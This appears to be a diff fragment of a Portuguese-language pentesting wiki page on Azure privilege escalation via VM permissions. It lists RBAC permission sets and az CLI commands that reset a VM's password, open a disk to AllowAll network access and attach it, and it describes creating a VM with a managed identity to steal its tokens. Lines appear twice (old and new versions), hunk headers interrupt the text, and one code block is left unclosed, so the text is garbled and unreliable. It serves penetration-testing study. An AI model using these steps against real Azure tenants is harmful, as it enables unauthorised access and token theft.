## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Todas essas são as permissões necessárias para **criar uma VM com uma identidade gerenciada específica** e deixar uma **porta aberta** (22 neste caso). Isso permite que um usuário crie uma VM e se conecte a ela e **roube tokens de identidade gerenciada** para escalar privilégios a ela.
Todas essas são as permissões necessárias para **criar uma VM com uma identidade gerenciada específica** e deixar uma **porta aberta** (22 neste caso). Isso permite que um usuário crie uma VM e se conecte a ela e **roube tokens de identidade gerenciada** para escalar privilégios para ela.
Dependendo da situação, mais ou menos permissões podem ser necessárias para abusar dessa técnica.
```bash
@@ -349,7 +349,7 @@ Então, o atacante precisa ter **comprometido de alguma forma a VM** para roubar
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
Essas permissões permitem alterar o usuário e a senha da máquina virtual para acessá-la:
```bash
@@ -359,8 +359,24 @@ az vm user update \
--username <USERNAME> \
--password <NEW_PASSWORD>
```
### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".
Essas permissões permitem que você gerencie discos e interfaces de rede, e permitem que você anexe um disco a uma máquina virtual.
```bash
# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll
# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>
```
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
De acordo com a [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), esta permissão permite que você gerencie o SO do seu recurso via Windows Admin Center como um administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs...
De acordo com a [**documentação**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), esta permissão permite que você gerencie o SO do seu recurso via Windows Admin Center como um administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs...
{{#include ../../../banners/hacktricks-training.md}}